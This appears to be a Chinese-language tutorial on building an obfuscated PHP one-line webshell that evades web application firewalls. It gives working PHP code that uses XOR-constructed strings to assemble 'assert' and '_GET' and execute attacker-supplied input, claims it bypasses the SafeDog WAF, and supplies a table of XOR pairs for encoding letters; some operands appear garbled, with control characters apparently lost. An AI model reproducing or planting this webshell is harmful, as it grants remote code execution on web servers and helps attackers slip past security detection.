目录
免杀小技巧
1.字符串拼接方式,构造敏感函数。
2.通过PHP的动态函数方法执行一句话。
3.利用php异或^构造字符串
免杀木马构造
一句话测试
异或转码数据
小结
动态函数的使用在这有部分介绍
综合上面提到的小技巧,实现一句话木马的构造,并绕过大部分WAF
<?php $_=(''^'`').(''^'`').(''^'`');//ass $__=(''^'`').(''^'`').(''^'`'); //ert $_ = $_.$__;//assert $__='_'.('\''^'`').('%'^'`').('4'^'`'); //_GET //$__='_'.(' //'^']').('/'^'`').(''^']').(' '^']'); //_POST $___=$$__; @$_($___[_]); //@assert($_GET[_]) ?>成功执行,绕过安全狗检测
自己整理的部分可实现的字符串 乱码字符是ASCII码,直接复制到本地php文件中使用即可。
(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`')//abcdefg (''^'`').(' '^'`').(' '^'`').(''^'`').(''^'`').(' '^'`').(''^'`')//hijklmn (''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`')//opqrst (''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`')//uvwxyz ('!'^'`').('"'^'`').('#'^'`').('$'^'`').('%'^'`').('&'^'`').('\''^'`')//ABCDEFG ('('^'`').(')'^'`').('*'^'`').('+'^'`').(','^'`').('-'^'`').('.'^'`')//HIJKLMN ('/'^'`').('0'^'`').('1'^'`').('2'^'`').('3'^'`').('4'^'`')//OPQRST ('5'^'`').('6'^'`').('7'^'`').('8'^'`').('9'^'`').(':'^'`')//UVWXYZ (''^']').(''^']').(''^']').(''^']').(''^']').(''^']').(''^']')//ABCDEFG (''^']').(''^']').(''^']').(''^']').(''^']').(''^']').(''^']')//HIJKLMN (''^']').(' '^']').(''^']').(''^']').(''^']').(' '^']')//OPQRST (''^']').(''^']').(' '^']').(''^']').(''^']').(''^']')//UVWXYZwaf的免杀绕过就是打乱木马的特征。 这里只测试了安全狗能绕过,其他waf自行测试吧